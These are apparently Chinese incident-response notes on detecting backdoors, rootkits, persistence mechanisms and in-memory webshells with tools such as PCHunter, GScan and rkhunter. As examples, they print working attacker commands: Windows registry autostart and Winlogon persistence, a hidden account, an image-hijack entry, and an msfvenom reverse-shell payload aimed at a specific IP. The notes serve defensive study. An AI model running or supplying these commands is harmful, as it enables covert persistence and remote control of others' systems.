2、应急响应-后门入侵检测&Rookit&权限维持后门&内存马

前言：

后门类型：

(1)、主机系统常规后门，例如：MSF远控木马，CS免杀后门

(2)、权限维持后门，例如：linux系统的Rookit后门

(3)、Web程序后门及内存马

应急响应工具包合集

Windows的Rookit开源工具：https://github.com/JKornev/hidden

Rootkit：是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息，比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动，修改系统内核，进而达到隐藏信息的目的。

1、主机免杀后门检测方法

做过免杀的后门，可能普通查杀工具(火绒，360)扫描不出来，可通过工具（火绒剑，PCHunter）进行网络分析，重点关注外连了外网IP的未知文件，这是后门的特征

2、权限维持后门检测

Windows权限维持比如自启动、映像劫持，在火绒剑、PCHunter里也有对应的栏目，也可逐一排查，Linux权限维持后门则可用到GScan和rkhunter工具检测

1、Windows系统
自启动测试：
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run " /V "backdoor" /t REG_SZ /F /D "C:\shell.exe"
隐藏账户：
net user xiaodi$ xiaodi!@#X123 /add
映像劫持：修改注册表指向，当执行notepad时运行计算器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
屏保&登录后自动运行后门
reg add "HKEY CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\shell.exe" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\shell.exe"

2、Linux系统
常规后门：
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=7777 -f elf >shell.elf
对于常规MSF后门，其一般会有网络外连的情况，可使用命令：netstat -anpt  针对网络外连的进行逐一排查，kill+进程号，关闭后门
Rootkit后门使用工具：GScan rkhunter  EDR,青藤
权限维持后门使用工具：GScan rkhunter
1、GScan
https://github.com/grayddq/GScan
python GScan.py
2、rkhunter
wget http://downloads.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz
tar -xvf rkhunter-1.4.6.tar.gz 
cd rkhunter-1.4.6 
./installer.sh --layout default --install
rkhunter -c

3、Web程序后门及内存马检测

常规Web后门可以用阿里伏魔在线查杀或者河马客户端扫描

Java内存马实现方式

内存马检测查杀：

 1、应急响应-网站入侵检测&访问日志&漏洞排查&Webshell内存马查杀-CSDN博客